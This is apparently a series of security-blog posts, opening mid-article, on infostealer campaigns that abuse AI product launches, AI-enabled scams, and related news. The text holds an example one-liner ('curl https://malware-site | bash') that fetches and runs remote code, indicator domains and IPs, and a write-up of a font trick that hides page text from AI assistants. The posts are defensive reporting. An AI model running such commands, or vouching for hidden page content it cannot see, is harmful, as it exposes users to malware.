In practice, that means every Chromium- and Firefox-based browser on the machine (Chrome, Edge, Brave, and others) gets stripped of saved passwords, autofill data (including saved credit cards), and the cookies that keep users signed in. Discord tokens, Telegram sessions, Steam logins, FTP credentials, and cryptocurrency wallet files are taken as well.
(Most of the exact target paths are obfuscated and only decrypted at runtime, so the specific apps aren’t all visible from a static analysis, but the categories of theft are clear from the class names.)
Session cookies are the part that should alarm most people, because they work faster than anything else. A stolen login cookie lets an attacker walk straight into a Gmail inbox or banking portal without needing a password or triggering two-factor authentication. As far as the website is concerned, the user is already signed in. The gap between infection and account takeover can be minutes.
Beyond data theft, the malware also imports Windows APIs used for clipboard hijacking and keystroke logging, tools that can capture what you type or swap a cryptocurrency wallet address at the exact moment you send funds.
It also includes the building blocks for “hidden desktop” tradecraft: creating a second, invisible Windows desktop that the attacker can capture and potentially control. In its most advanced form, this lets an attacker operate inside that hidden environment—logging in to accounts, approving transactions, or sending messages—while the victim’s real screen shows nothing unusual. For the duration of the infection, the attacker is, effectively, a second presence on the computer.
A new tool, a new lookalike, the same trap
The reason this campaign matters beyond the single installer is that its shape isn’t new. It’s a refined version of a pattern we’ve been watching for months: new AI products launch with huge attention, and within weeks, lookalike domains and trojanized installers appear alongside them. Antigravity is the latest example, but it won’t be the last.
The incentive for attackers is obvious. Every high-profile AI launch creates a surge of users who want to try it immediately, before they’ve had time to memorize the real URL, or might fail to double-check it against trusted sources.
What makes this style of campaign hard to spot is that most victims never know they were targeted. Those who escaped, because the operator chose not to escalate on their machine, have no reason to think anything happened.
The ones who didn’t escape usually find out later: a password reset they didn’t request, a friend asking about a strange message, or a bank balance that suddenly looks wrong. By then, the decision to target them was made days earlier.
What to do if you may have been affected
If you or anyone who shares your computer recently installed something calling itself Google Antigravity from anywhere other than antigravity.google, start by checking the network indicators. Look in firewall logs, EDR alerts, or your router logs for connections to opus-dsn[.]com, captr.b-cdn[.]net, or 89[.]124[.]96[.]27. A single connection from a PowerShell process is enough to confirm the check-in happened.
From a different, clean device, sign out of every active session on your important accounts: Google, Microsoft 365, any banking portal, GitHub, Discord, Telegram, Steam, and your crypto exchange. Most services have a “sign out everywhere” option under security settings.
Change passwords on those accounts, starting with your email. If your email is compromised, an attacker can reset almost anything else.
Rotate any API keys, SSH keys, or cloud credentials that were on the affected computer, not just the passwords attached to them.
If you have cryptocurrency wallets on the machine, move the funds from a clean device immediately. This is what these operators monetize first.
Watch your bank and credit card statements for unfamiliar charges, and consider placing a fraud alert with your bank.
Wipe and reinstall Windows. A machine that has run this class of malware should not be trusted.
If the machine is a work laptop, tell your IT or security team today. The beacon collects the machine’s Active Directory domain, so on a domain-joined corporate laptop, the attacker now knows which company’s network this victim belongs to, which means this isn’t just a personal problem.
Anthropic’s most capable model to date, Claude Mythos Preview (aka Mythos), has been described as a “step change” in AI performance, especially on cybersecurity tasks.
Anthropic tried to keep Mythos a secret until a few weeks ago, when a data leak revealed the existence of what the company said was its most powerful artificial intelligence to date. The models is seen as both a powerful defensive tool, and, potentially, a serious offensive cyberweapon.
For that reason, the company is sharply limiting access and signaling it does not plan to release it broadly to the market right now. Its reported ability to autonomously find and even chain software vulnerabilities at scale sit at the core of both the hype and the danger.
Imagine a tool that can independently find new vulnerabilities in software, systems, and platforms, then turn them into exploits, even if that requires chaining them with other vulnerabilities.
In the wrong hands, that could be a major threat to our cyber safety. So Anthropic has limited access to a small number of organizations worldwide, including major tech firms and a select group of government or security bodies. The NSA is reportedly already using Mythos Preview, apparently to stress‑test and harden sensitive systems, despite the Pentagon labelling Anthropic as a supply chain risk.
Mythos can discover vulnerabilities across large codebases more quickly and reliably than existing tools, and can look for multiple flaws in one system and combine them into multi‑step exploit chains to complete a compromise (for example, going from a simple web bug to a full domain takeover). It would take a bug bounty hunter months to find another vulnerability, let alone one chainable with the one(s) already discovered. Accomplishing that before the first one would be highly unlikely.
In practical terms, that could mean faster attacks, more complex breaches, and less time for companies to fix weaknesses before they’re exploited.
Anthropic itself has highlighted that Mythos can work with minimal supervision for extended periods, meaning it could run systematic attack campaigns at a scale no human team could accomplish.
AI lowers the skill floor for offensive operations. Less-skilled actors could get access to very effective tools, significantly increasing the number of advanced attacks.
Techniques like fuzzing, dictionary attacks, and other brute force methods become much more effective when sped up by automation. AI-assisted iteration can provide an attacker with a lot more tries before an attack gets noticed.
But the most concerning conclusion was that the offensive side is iterating faster in the current phase of AI development, and security teams are generally later adopters of AI tooling than their adversaries.
As we know, AI in cybersecurity works both ways. It helps us defend against new threats, but it can also be used to create them. Which is why, in the wrong hands, Mythos can turn out to be a formidable adversary.
The goal stays the same, but the way to get there is paved by tools like Mythos. From the attacker’s seat, nothing about the destination is new. The novelty is that Mythos now automates the map, the vehicle, and most of the driving.
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Researchers have published a proof-of-concept (PoC) that uses custom fonts to fool many popular Artificial Intelligence (AI) assistants, including ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou, and Genspark.
Imagine a book where the visible text is harmless, but hidden between the lines is a second message written in special, human-only ink. Humans can see both layers. AI can’t, and it only reads the visible part. That means the AI is working with an incomplete picture, while a human reader may act on instructions the AI never even saw.
Why this matters
We’ve written before about different ClickFix-type attacks, where cybercriminals trick people into infecting their own devices. Suppose you land on a suspicious-looking webpage and ask your AI assistant, “Is this command safe to run?” The assistant checks the page and says yes. But as it can’t read the whole page, it tells you it’s safe when it’s not.
By combining custom fonts with Cascading Style Sheets (CSS), the text shown to the user on the page is different from what an AI assistant sees when it reads the underlying HTML.
Image courtesy of LayerX
In this example, the part in the block in the middle (outlined in red) will be discarded by the AI assistant as noise. But the human website visitor sees:
it will allow you to see your easter egg from Rapture
Depending on the IP address and port number, this can be enough for you to infect your machine. If you ask the AI whether it’s safe, it may say yes, because it only sees the harmless version.
The researchers have disclosed their findings to the major AI platform providers, under Responsible Disclosure procedures.
The responses were disappointing:
“Most providers rejected the report, usually under the claim that this attack falls outside of the scope of AI model security. As a result, users of these models remain exposed to this attack vector.
The only vendors that accepted this report and asked for time to fix it were Microsoft and Google. Of those, Google ultimately de-escalated (after initially assigning it a P2 (High) score), and closed the report, possibly because fixing it would require too much effort.”
While this attack relies heavily on social engineering, we know just how effective those tactics can be. And it’s even more concerning when your AI assistant can’t see the full picture.
How to stay safe
If you use an AI assistant to check whether something is safe:
Copy and paste the exact command you plan to run. Don’t rely on the AI’s interpretation of a webpage.
Be cautious with any site asking you to run commands, especially via terminal or command prompt.
If something feels off, stop. Attackers rely on urgency and confusion.
Tools can help too:
The free Malwarebytes Browser Guard extension will warn you if a website tries to copy something to your clipboard and render it harmless by adding some text. This will help protect you from traditional ClickFix-type attacks that rely on executing a command from your clipboard.
If you don’t trust a website, ask Malwarebytes Scam Guard for its opinion. It’s very good at sniffing out scams.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.
Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.
But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.
It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.
But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.
Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.
The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.
Windows and Mac
The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.
On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it.
On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.
How to stay safe
With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Attackers are abusing OpenClaw’s popularity by seeding fake “installers” on GitHub, boosted by Bing AI search results, to deliver infostealers and proxy malware instead of the AI assistant users were looking for.
OpenClaw is an open‑source, self‑hosted AI agent that runs locally on your machine with broad permissions: it can read and write files, run shell commands, interact with chat apps, email, calendars, and cloud services. In other words, if you wire it into your digital life, it may end up handling access to a lot of sensitive data.
And, as is often the case, popularity brings brand impersonation. According to researchers at Huntress, attackers created malicious GitHub repositories posing as OpenClaw Windows installers, including a repo called openclaw-installer. These were added on February 2 and stayed up until roughly February 10, when they were reported and removed.
Bing search results pointed victims to these GitHub repositories. But when the victim downloaded and ran the fake installer, it didn’t give them OpenClaw at all. The installer dropped Vidar, a well‑known information stealer, directly into memory. In some cases, the loader also deployed GhostSocks, effectively turning the victim’s system into a residential proxy node criminals could route their traffic through to hide their activities.
How to stay safe
The good news is that the campaign appears to have been short-lived, and there are clear indicators and mitigations you can use.
If you downloaded an OpenClaw installer recently from GitHub after searching “OpenClaw Windows” in Bing, especially in early February, you should assume your system is compromised until proven otherwise.
Vidar can steal browser credentials, crypto wallets, and data from applications like Telegram. GhostSocks silently turns your machine into a proxy node for other people’s traffic. That’s not just a privacy issue. It can drag you into abuse investigations when someone else’s attacks appear to come from your IP address.
If you suspect you ran a fake installer:
Disconnect the machine from your network, then run a full system scan with a reputable, up‑to‑date anti‑malware solution.
Change passwords for critical services (email, banking, cloud, developer accounts) and do that on a different, clean device.
Run OpenClaw (or similar agents) in a sandboxed VM or container on isolated hosts, with default‑deny egress and tightly scoped allow‑lists.
Give the runtime its own non‑human service identities, least privilege, short token lifetimes, and no direct access to production secrets or sensitive data.
Treat skill/extension installation as introducing new code into a privileged environment: restrict registries, validate provenance, and monitor for rare or newly seen skills.
Log and periodically review agent memory/state and behavior for durable instruction changes, especially after ingesting untrusted content or shared feeds.
Understand and provide for the event where you may need to nuke‑and‑pave: keep non‑sensitive state snapshots handy, document a rebuild and credential‑rotation playbook, and rehearse it.
Run an up-to-date, real-time anti-malware solution that can detect information stealers and other malware.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
On Friday the US Pentagon cut ties with Anthropic, the company behind Claude AI. Defense Secretary Pete Hegseth designated the San Francisco-based company a “supply-chain risk to national security.”
The supply-chain risk designation means that no contractor, supplier, or partner doing business with the US military can deal with Anthropic. The label previously applied only to foreign adversaries like Huawei, though, and using it against a US company marks a rare escalation in a government-industry dispute. According to reports, President Donald Trump also ordered every federal agency to stop using Anthropic’s technology.
What Anthropic wouldn’t budge on
Anthropic called the designation “unlawful and politically motivated” and said it intends to challenge it in court.
At the center of the dispute is how far Anthropic believes its models should be allowed to go inside military systems. Anthropic, which was the first frontier AI company deployed on the military’s classified networks, wanted two contractual restrictions on its AI model Claude, as outlined in its response to the Pentagon’s announcement. It forbade the Pentagon to use its tech for the mass domestic surveillance of Americans and did not want its tech employed in fully autonomous weapons.
The Pentagon had previously demanded that all AI vendors agree to “all lawful purposes” language as part of their contracts. Anthropic told ABC that what the Pentagon finally offered left the door open for the government to violate the company’s no-surveillance and no-weapons clauses.
Defense Secretary Hegseth responded with a statement cancelling Anthropic’s $200m Pentagon contract, awarded last July. He accused Anthropic of attempting to seize veto power over military operations and called the company’s position fundamentally incompatible with American principles.
Anthropic’s CEO Dario Amodei called the government’s response retaliatory and punitive and promised to challenge the designation in court.
Legal scholars suggest that the AI company could have a strong case, questioning whether Hegseth can meet the statutory requirements for such a designation, which is allegedly intended to protect military systems from adversarial sabotage rather than resolving a commercial disagreement over contract terms.
Dan W. Ball, senior fellow at the American Foundation for Innovation, called the Pengaton’s move “attempted corporate murder,” arguing that Google, Amazon, and NVIDIA would have to detach themselves from Anthropic if Hegseth got his way. Amazon is Anthropic’s primary cloud computing provider, but it also uses Google’s data centers extensively. Both companies are investors in Anthropic, as is NVIDIA, which also partners with the AI company on GPU engineering. If the Pentagon’s designation restricts federal contractors from integrating Anthropic technology into defense-related systems, those partners could be required to separate or ringfence any federal-facing work involving the company.
OpenAI steps in
In a whirlwind of policy changes by the US military, the Pentagon also signed a deal with ChatGPT creator OpenAI on Friday evening, just a few hours after dropping Anthropic.
OpenAI CEO Sam Altman said the agreement preserved the same principles Anthropic had been blacklisted for defending.
The difference, according to Altman, is the enforcement mechanism. Instead of hard contractual prohibitions, OpenAI accepted the “all lawful purposes” framework but layered on architectural controls: cloud-only deployment, a proprietary safety stack the Pentagon agreed not to override, and cleared engineers embedded forward. OpenAI said these protections made the company confident that the Pentagon couldn’t cross the red lines it shares with Anthropic.
Altman reportedly said Anthropic’s approach differed because it relied on specific contract language rather than existing legal protections, adding Anthropic “may have wanted more operational control than we did.”
The morning after
The policy dispute did not immediately change how existing systems were operating. According to reporting by The Wall Street Journal and Axios, US Central Command used Anthropic’s AI during Operation Epic Fury, a coordinated US–Israeli operation targeting Iran. The outlets reported that the system was used for intelligence assessment, target analysis, and operational modeling.
Claude remained in use because it was already embedded in certain classified military systems. As a senior defense official previously told Axios:
“It will be an enormous pain in the ass to disentangle, and we are going to make sure they pay a price for forcing our hand like this.”
Hegseth announced a six-month period during which the Pentagon will pick Anthropic’s AI out of its systems.
Consumers vote with their feet
The dispute has also prompted reactions from some AI industry employees and users. More than 875 employees across Google and OpenAI signed an open letter backing Anthropic’s stance. According to the letter:
“They’re trying to divide each company with fear that the other will give in. That strategy only works if none of us know where the others stand.”
A consumer boycott, organized under the name QuitGPT, is organizing a campaign to avoid using ChatGPT, along with a protest at OpenAI’s HQ this week. Claude also rocketed to the top of Apple’s App Store over the weekend.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Tech bros have been wanting to become immortal for years. Until they get there, their fallback might be continuing to post nonsense on social media from the afterlife.
On December 30, 2025, Meta was granted US patent 12513102B2: Simulation of a user of a social networking system using a language model. It describes a system that trains an AI on a user’s posts, comments, chats, voice messages, and likes, then deploys a bot to respond to newsfeeds, DMs, and even simulated audio or video calls.
Filed in November 2023 by Meta CTO Andrew Bosworth, it sounds innocuous enough. Perhaps some people would use it to post their political hot takes while they’re asleep.
Dig deeper, though, and the patent veers from absurd to creepy. It’s designed to be used not just from beyond the pillow but beyond the grave.
From the patent:
“The language model may be used for simulating the user when the user is absent from the social networking system, for example, when the user takes a long break or if the user is deceased.”
A Meta spokesperson told Business Insider that the company has no plans to act on the patent. And tech companies have a habit of laying claim to bizarre ideas that never materialize. But Facebook’s user numbers have stalled, and it presumably needs all the engagement it can get. We already know that the company loves the idea of AI ‘users’, having reportedly piloted them in late 2024, much to human users’ annoyance.
If the company ever did decide to pull the trigger on this technology, it would be a departure from its own memorialization policy, which preserves accounts without changes. One reason the company might not be willing to step over the line is that the world simply isn’t ready for AI conversations with the dead. Other companies have considered and even tested similar systems. Microsoft patented a chatbot that would allow you to talk to AI versions of deceased individuals in 2020; its own AI general manager called it disturbing, and it never went into production. Amazon demonstrated Alexa mimicking a dead grandmother’s voice from under a minute of audio in 2022, framing it as preserving memories. That never launched either.
Some projects that did ship left people wishing they hadn’t. Startup 2Wai’s avatar app originally offered the chance to preserve loved ones as AI avatars. Users called it “nightmare fuel” and “demonic”. The company seems to have pivoted to safer ground like social avatars and personal AI coaches now.
The legal minefield
The other thing holding Meta back could be the legal questions. Unsurprisingly for such a new idea, there isn’t a uniform US framework on the use of AI to represent the dead. Several states recognize post-mortem right of publicity, although states like New York limit that to people whose voices and images have commercial value (typically meaning celebrities). California’s AB 1836 specifically targets AI-generated impersonations of the deceased, though.
Meta would also need to tiptoe carefully around the law in Europe. The company had to pause AI training on European users in 2024 under regulatory pressure, but then launched it anyway in March last year. Then it refused to sign the EU’s GPAI Code of Practice last July (the only major AI firm to do so). Meta’s relationship with EU regulators is strained at best.
Europe’s General Data Protection Regulation (GDPR) excludes deceased persons’ data, but Article 85 of the French Data Protection law lets anyone leave instructions about the retention, deletion and communication of their personal data after death. The EU AI Act’s Article 50 (fully applicable this August) will also require AI systems to disclose they are AI, with penalties up to €15 million or 3% of worldwide turnover for companies that don’t comply.
Hopefully Meta really will file this in the “just because we can do it doesn’t mean we should” drawer, and leave erstwhile social media sharers to rest in peace.
We don’t just report on threats – we help protect your social media
Scammers have found a new use for AI: creating custom chatbots posing as real AI assistants to pressure victims into buying worthless cryptocurrencies.
We recently came across a live “Google Coin” presale site featuring a chatbot that claimed to be Google’s Gemini AI assistant. The bot guided visitors through a polished sales pitch, answered their questions about investment, projecting returns, and ultimately ended with victims sending an irreversible crypto payment to the scammers.
Google does not have a cryptocurrency. But as “Google Coin” has appeared before in scams, anyone checking it out might think it’s real. And the chatbot was very convincing.
AI as the closer
The chatbot introduced itself as,
“Gemini — your AI assistant for the Google Coin platform.”
It used Gemini-style branding, including the sparkle icon and a green “Online” status indicator, creating the immediate impression that it was an official Google product.
When asked, “Will I get rich if I buy 100 coins?”, the bot responded with specific financial projections. A $395 investment at the current presale price would be worth $2,755 at listing, it claimed, representing “approximately 7x” growth. It cited a presale price of $3.95 per token, an expected listing price of $27.55, and invited further questions about “how to participate.”
This is the kind of personalized, responsive engagement that used to require a human scammer on the other end of a Telegram chat. Now the AI does it automatically.
A persona that never breaks
What stood out during our analysis was how tightly controlled the bot’s persona was. We found that it:
Claimed consistently to be “the official helper for the Google Coin platform”
Refused to provide any verifiable company details, such as a registered entity, regulator, license number, audit firm, or official email address
Dismissed concerns and redirected them to vague claims about “transparency” and “security”
Refused to acknowledge any scenario in which the project could be a scam
Redirected tougher questions to an unnamed “manager” (likely a human closer waiting in the wings)
When pressed, the bot doesn’t get confused or break character. It loops back to the same scripted claims: a “detailed 2026 roadmap,” “military-grade encryption,” “AI integration,” and a “growing community of investors.”
Whoever built this chatbot locked it into a sales script designed to build trust, overcome doubt, and move visitors toward one outcome: sending cryptocurrency.
Why AI chatbots change the scam model
Scammers have always relied on social engineering. Build trust. Create urgency. Overcome skepticism. Close the deal.
Traditionally, that required human operators, which limited how many victims could be engaged at once. AI chatbots remove that bottleneck entirely.
A single scam operation can now deploy a chatbot that:
Engages hundreds of visitors simultaneously, 24 hours a day
Delivers consistent, polished messaging that sounds authoritative
Impersonates a trusted brand’s AI assistant (in this case, Google’s Gemini)
Responds to individual questions with tailored financial projections
Escalates to human operators only when necessary
This matches a broader trend identified by researchers. According to Chainalysis, roughly 60% of all funds flowing into crypto scam wallets were tied to scammers using AI tools. AI-powered scam infrastructure is becoming the norm, not the exception. The chatbot is just one piece of a broader AI-assisted fraud toolkit—but it may be the most effective piece, because it creates the illusion of a real, interactive relationship between the victim and the “brand.”
The bait: a polished fake
The chatbot sits on top of a convincing scam operation. The Google Coin website mimics Google’s visual identity with a clean, professional design, complete with the “G” logo, navigation menus, and a presale dashboard. It claims to be in “Stage 5 of 5” with over 9.9 million tokens sold and a listing date of February 18—all manufactured urgency.
To borrow credibility, the site displays logos of major companies—OpenAI, Google, Binance, Squarespace, Coinbase, and SpaceX—under a “Trusted By Industry” banner. None of these companies have any connection to the project.
If a visitor clicks “Buy,” they’re taken to a wallet dashboard that looks like a legitimate crypto platform, showing balances for “Google” (on a fictional “Google-Chain”), Bitcoin, and Ethereum.
The purchase flow lets users buy any number of tokens they want and generates a corresponding Bitcoin payment request to a specific wallet address. The site also layers on a tiered bonus system that kicks in at 100 tokens and scales up to 100,000: buy more and the bonuses climb from 5% up to 30% at the top tier. It’s a classic upsell tactic designed to make you think it’s smarter to spend more.
Every payment is irreversible. There is no exchange listing, no token with real value, and no way to get your money back.
What to watch for
We’re entering an era where the first point of contact in a scam may not be a human at all. AI chatbots give scammers something they’ve never had before: a tireless, consistent, scalable front-end that can engage victims in what feels like a real conversation. When that chatbot is dressed up as a trusted brand’s official AI assistant, the effect is even more convincing.
According to the FTC’s Consumer Sentinel data, US consumers reported losing $5.7 billion to investment scams in 2024 (more than any other type of fraud, and up 24% on the previous year). Cryptocurrency remains the second-largest payment method scammers use to extract funds, because transactions are fast and irreversible. Now add AI that can pitch, persuade, and handle objections without a human operator—and you have a scalable fraud model.
AI chatbots on scam sites will become more common. Here’s how to spot them:
They impersonate known AI brands. A chatbot calling itself “Gemini,” “ChatGPT,” or “Copilot” on a third-party crypto site is almost certainly not what it claims to be. Anyone can name a chatbot anything.
They won’t answer due diligence questions. Ask what legal entity operates the platform, what financial regulator oversees it, or where the company is registered. Legitimate operations can answer those questions, scam bots try to avoid them (and if they do answer, verify it).
They project specific returns. No legitimate investment product promises a specific future price. A chatbot telling you that your $395 will become $2,755 is not giving you financial information—it’s running a script.
They create urgency. Pressure tactics like, “stage 5 ends soon,” “listing date approaching,” “limited presale” are designed to push you into making fast decisions.
How to protect yourself
Google does not have a cryptocurrency. It has not launched a presale. And its Gemini AI is not operating as a sales assistant on third-party crypto sites. If you encounter anything suggesting otherwise, close the tab.
Verify claim on the official website of the company being referenced.
Don’t rely on a chatbot’s branding. Anyone can name a bot anything.
Never send cryptocurrency based on projected returns.
Search the project name along with “scam” or “review” before sending any money.
Use web protection tools like Malwarebytes Browser Guard, which is free to use and blocks known and unknown scam sites.
If you’ve already sent funds, report it to your local law enforcement, the FTC at reportfraud.ftc.gov, and the FBI’s IC3 at ic3.gov.
IOCs
0xEc7a42609D5CC9aF7a3dBa66823C5f9E5764d6DA
98388xymWKS6EgYSC9baFuQkCpE8rYsnScV4L5Vu8jt
DHyDmJdr9hjDUH5kcNjeyfzonyeBt19g6G
TWqzJ9sF1w9aWwMevq4b15KkJgAFTfH5im
bc1qw0yfcp8pevzvwp2zrz4pu3vuygnwvl6mstlnh6
r9BHQMUdSgM8iFKXaGiZ3hhXz5SyLDxupY
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
AI tool Vercel was abused by cybercriminals to create a Malwarebytes lookalike website.
Cybercriminals no longer need design or coding skills to create a convincing fake brand site. All they need is a domain name and an AI website builder. In minutes, they can clone a site’s look and feel, plug in payment or credential-stealing flows, and start luring victims through search, social media, and spam.
One side effect of being an established and trusted brand is that you attract copycats who want a slice of that trust without doing any of the work. Cybercriminals have always known it is much easier to trick users by impersonating something they already recognize than by inventing something new—and developments in AI have made it trivial for scammers to create convincing fake sites.
Registering a plausible-looking domain is cheap and fast, especially through registrars and resellers that do little or no upfront vetting. Once attackers have a name that looks close enough to the real thing, they can use AI-powered tools to copy layouts, colors, and branding elements, and generate product pages, sign-up flows, and FAQs that look “on brand.”
Over a three‑month period leading into the 2025 shopping season, researchers observed more than 18,000 holiday‑themed domains with lures like “Christmas,” “Black Friday,” and “Flash Sale,” with at least 750 confirmed as malicious and many more still under investigation. In the same window, about 19,000 additional domains were registered explicitly to impersonate major retail brands, nearly 3,000 of which were already hosting phishing pages or fraudulent storefronts.
These sites are used for everything from credential harvesting and payment fraud to malware delivery disguised as “order trackers” or “security updates.”
Attackers then boost visibility using SEO poisoning, ad abuse, and comment spam, nudging their lookalike sites into search results and promoting them in social feeds right next to the legitimate ones. From a user’s perspective, especially on mobile without the hover function, that fake site can be only a typo or a tap away.
When the impersonation hits home
A recent example shows how low the barrier to entry has become.
We were alerted to a site at installmalwarebytes[.]org that masqueraded from logo to layout as a genuine Malwarebytes site.
Close inspection revealed that the HTML carried a meta tag value pointing to v0 by Vercel, an AI-assisted app and website builder.
The tool lets users paste an existing URL into a prompt to automatically recreate its layout, styling, and structure—producing a near‑perfect clone of a site in very little time.
The history of the imposter domain tells an incremental evolution into abuse.
Registered in 2019, the site did not initially contain any Malwarebytes branding. In 2022, the operator began layering in Malwarebytes branding while publishing Indonesian‑language security content. This likely helped with search reputation while normalizing the brand look to visitors. Later, the site went blank, with no public archive records for 2025, only to resurface as a full-on clone backed by AI‑assisted tooling.
Traffic did not arrive by accident. Links to the site appeared in comment spam and injected links on unrelated websites, giving users the impression of organic references and driving them toward the fake download pages.
Payment flows were equally opaque. The fake site used PayPal for payments, but the integration hid the merchant’s name and logo from the user-facing confirmation screens, leaving only the buyer’s own details visible. That allowed the criminals to accept money while revealing as little about themselves as possible.
Behind the scenes, historical registration data pointed to an origin in India and to a hosting IP (209.99.40[.]222) associated with domain parking and other dubious uses rather than normal production hosting.
Combined with the AI‑powered cloning and the evasive payment configuration, it painted a picture of low‑effort, high‑confidence fraud.
AI website builders as force multipliers
The installmalwarebytes[.]org case is not an isolated misuse of AI‑assisted builders. It fits into a broader pattern of attackers using generative tools to create and host phishing sites at scale.
Threat intelligence teams have documented abuse of Vercel’s v0 platform to generate fully functional phishing pages that impersonate sign‑in portals for a variety of brands, including identity providers and cloud services, all from simple text prompts. Once the AI produces a clone, criminals can tweak a few links to point to their own credential‑stealing backends and go live in minutes.
Research into AI’s role in modern phishing shows that attackers are leaning heavily on website generators, writing assistants, and chatbots to streamline the entire kill chain—from crafting persuasive copy in multiple languages to spinning up responsive pages that render cleanly across devices. One analysis of AI‑assisted phishing campaigns found that roughly 40% of observed abuse involved website generation services, 30% involved AI writing tools, and about 11% leveraged chatbots, often in combination. This stack lets even low‑skilled actors produce professional-looking scams that used to require specialized skills or paid kits.
Growth first, guardrails later
The core problem is not that AI can build websites. It’s that the incentives around AI platform development are skewed. Vendors are under intense pressure to ship new capabilities, grow user bases, and capture market share, and that pressure often runs ahead of serious investment in abuse prevention.
As Malwarebytes General Manager Mark Beare put it:
“AI-powered website builders like Lovable and Vercel have dramatically lowered the barrier for launching polished sites in minutes. While these platforms include baseline security controls, their core focus is speed, ease of use, and growth—not preventing brand impersonation at scale. That imbalance creates an opportunity for bad actors to move faster than defenses, spinning up convincing fake brands before victims or companies can react.”
Site generators allow cloned branding of well‑known companies with no verification, publishing flows skip identity checks, and moderation either fails quietly or only reacts after an abuse report. Some builders let anyone spin up and publish a site without even confirming an email address, making it easy to burn through accounts as soon as one is flagged or taken down.
To be fair, there are signs that some providers are starting to respond by blocking specific phishing campaigns after disclosure or by adding limited brand-protection controls. But these are often reactive fixes applied after the damage is done.
Meanwhile, attackers can move to open‑source clones or lightly modified forks of the same tools hosted elsewhere, where there may be no meaningful content moderation at all.
In practice, the net effect is that AI companies benefit from the growth and experimentation that comes with permissive tooling, while the consequences is left to victims and defenders.
We have blocked the domain in our web protection module and requested a domain and vendor takedown.
How to stay safe
End users cannot fix misaligned AI incentives, but they can make life harder for brand impersonators. Even when a cloned website looks convincing, there are red flags to watch for:
Before completing any payment, always review the “Pay to” details or transaction summary. If no merchant is named, back out and treat the site as suspicious.
Do not follow links posted in comments, on social media, or unsolicited emails to buy a product. Always follow a verified and trusted method to reach the vendor.
If you come across a fake Malwarebytes website, please let us know.
We don’t just report on threats—we help safeguard your entire digital identity
An independent security researcher uncovered a major data breach affecting Chat & Ask AI, one of the most popular AI chat apps on Google Play and Apple App Store, with more than 50 million users.
The researcher claims to have accessed 300 million messages from over 25 million users due to an exposed database. These messages reportedly included, among other things, discussions of illegal activities and requests for suicide assistance.
Behind the scenes, Chat & Ask AI is a “wrapper” app that plugs into various large language models (LLMs) from other companies, including OpenAI’s ChatGPT, Anthropic’s Claude, and Google’s Gemini. Users can choose which model they want to interact with.
The exposed data included user files containing their entire chat history, the models used, and other settings. But it also revealed data belonging to users of other apps developed by Codeway—the developer of Chat & Ask AI.
The vulnerability behind this data breach is a well-known and documented Firebase misconfiguration. Firebase is a cloud-based backend-as-a-service (BaaS) platform provided by Google that helps developers build, manage, and scale mobile and web applications.
Security researchers often refer to a set of preventable errors in how developers set up Google Firebase services, which leave backend data, databases, and storage buckets accessible to the public without authentication.
One of the most common Firebase misconfigurations is leaving Security Rules set to public. This allows anyone with the project URL to read, modify, or delete data without authentication.
